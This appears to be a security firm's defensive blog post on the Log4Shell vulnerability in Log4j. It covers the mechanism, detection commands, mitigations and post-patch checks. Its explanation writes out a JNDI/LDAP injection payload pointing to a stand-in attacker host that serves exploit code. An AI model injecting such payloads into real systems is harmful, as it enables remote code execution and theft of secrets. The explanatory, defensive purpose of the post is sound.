In case you've been living under a rock the past week then chances are you have heard either Log4Shell or Log4j thrown around in great anger, and for good reason!
Log4Shell is the name that is being given to a critical vulnerability that is sweeping the internet, home users and enterprises alike. The vulnerability is particularly nasty as it allows for remote code execution against all devices that are vulnerable, this could be from as simple as running 'whoami' all the way to installing a Remote Access Trojan or Ransomware into a corporate network.
What's Vulnerable?
The vulnerable component that was discovered within Log4j affects versions prior to 2.17.0. Log4j is an open-source Java library that is used by numerous Java applications, frameworks and services to help with logging. As almost everything will have logs of some description this not so little library has found its way into numerous applications all over the globe, from consumer grade to enterprise applications.
Its popularity has formed part of the problem, Log4j is everywhere… literally everywhere, the sheer scale of this vulnerability is unprecedented, and some researchers are quoting the likes of ShellShock in terms of relatability.
Why is it Vulnerable?
The issue here is that Log4j is often provided data that is supplied by a user as input, such as from a web form. A remote user can supply a string which will cause Log4j to attempt to look up some information from a remote service (an example of the intended use would be to resolve a user ID to a display name). This is becomes a problem because the user can control the target of this lookup to point to an external resource hosting malicious Java code, and Log4j will fetch that code and execute it.
The exploit functions by using the 'Java Naming and Directory Interface' which is an API that allows Java Clients to look up data. The popular method is to utilise JNDI's LDAP provider to point to an external source, in many cases this is externally hosted malicious java code to achieve remote code execution. A potential attack would follow these steps:
1. User input is sent to a Web App or External asset, this can be in many forms:
- Username fields
- Search fields
- Comments
- Chat boxes
- User-Agents
- HTTP headers
- Forms
2. The receiving asset or app sends the request to the logging infrastructure which is running a vulnerable version of Log4j.
Let's take a look at the payload here:
${JNDI:LDAP://
This portion of the payload is calling the JNDI API that was mentioned earlier, it's then selecting the LDAP provider, which essentially says "Please go and look for this external resource using the LDAP protocol".
Myattackersite:1389/Exploit:9898}
This section of the payload is the external resource and will be controlled by the attacker, typically it will point to an LDAP referrer server, which in turn will bounce the request to a HTTP server where the malicious file is hosted and eventually executed against our victim infrastructure.
Not just code execution
Remote code execution gets the security community's attention, and for good reason, but this is not the only danger from this vulnerability. It can be used to leak sensitive information to an attacker without fetching a malicious .class file, and this approach is being seen in use in the wild. Attackers have been observed leaking environment variables from running applications, such as AWS secrets and other API keys.
How do you know if you're vulnerable?
The security community really has come together on this one, there are already a wealth of resources available to help detect if you're running vulnerable applications or utilising vendors that are vulnerable, some great lists of products and vendors are:
Unknown Instances
If it's the case that you simply don't know if you're vulnerable, then you may have to rely on a good old-fashioned approach of searching the file system.
On Linux systems:
'find / -type f -print0 |xargs -n1 -0 zipgrep -i log4j2 2>/dev/null'
'dpkg -l | grep log4j'
For Windows, this PowerShell command can help:
'gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path'
Source: https://www.ncsc.gov.uk/news/apache-log4j-vulnerability/
Another method of checking is to simply test for the vulnerability yourself, there are a couple of tools out there that will provide a URL for you to paste into user input areas on your web applications and will let you know if you get a hit. If you get a hit, then your website is vulnerable and you should take remediation steps. A couple of these tools are:
Scanning
Security vendors are frantically updating vulnerability management and detection tools to look for these vulnerabilities, so it is possible to carry out scanning to get an idea if you are vulnerable or not, due to the ever-growing threat landscape on this occasion, it's not a guarantee that 'no findings' from a scan confirm you are not vulnerable and a full audit and investigation is always recommended to be sure you are protected.
What's the solution?
Patch.
Version 2.17.0 of Llog4j has been released and should be used where possible. There's a catch though, this is only really a solution for in-house applications or if you have control over the Java libraries in your applications.
If you use applications that are vulnerable and supplied by a third party then you have to sit and wait to some extent. Most vendors are rushing updates out the window to address the vulnerability so consistently ensuring that everything is up to date and applying updates when they are available is the next priority.
What if there isn't a patch yet?
If there isn't a patch out for your applications that are vulnerable, then there are a few mitigations that can be done to help defend against this vulnerability.
- You can set the system property of "log4j2.formatMsgNoLookups" to "true"
- You can remove the Jndi lookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)
- Implement a Web Application Firewall; this one may be tricky if the infrastructure isn't already in place. If you already have a WAF in play, then ensuring the rules are covering a lot of the bypasses for this vulnerability will help.
- Restrict outbound connections from vulnerable applications; restricting outbound communications to (primarily) LDAP, LDAPS and RMI will help stop the payloads leaving your network, although be aware, implementing outbound blocks may have unforeseen consequences on daily operations.
I've patched, now what?
It's important to point out that it will not suffice just patching alone, if you detect that you are vulnerable there is a chance that your network has already been compromised. Possible things to look for:
- outgoing LDAP requests that are to unknown IP addresses and from known vulnerable servers
- HTTP requests with a Java user-agent, for an externally hosted .class file*
- Unusual child processes of the Java/Apache/Tomcat server process that is running the vulnerable Log4j component
Securing yourself from other threats of this nature requires consistent monitoring of connections in to and out of your network, host-level activity on your assets, and more. If you think you do not have consistent coverage, or are not sure whether you do, it may be time to call in outside expertise.
Summary
The vulnerability is pretty bad, but primarily down to its scale and Log4j being in many applications affecting the consumer and the enterprise. The vulnerability at its core is also rather simple to execute, when combined with how common the library is, it gets nasty really quickly.
Ultimately the key is to not panic, carry out an audit of software and vendors that you or your organisation uses, work through the list of vulnerable software checking yours and test your website if you want. Take the appropriate action depending on the outcome, if you need assistance or want CND to conduct a scan of your assets please get in touch.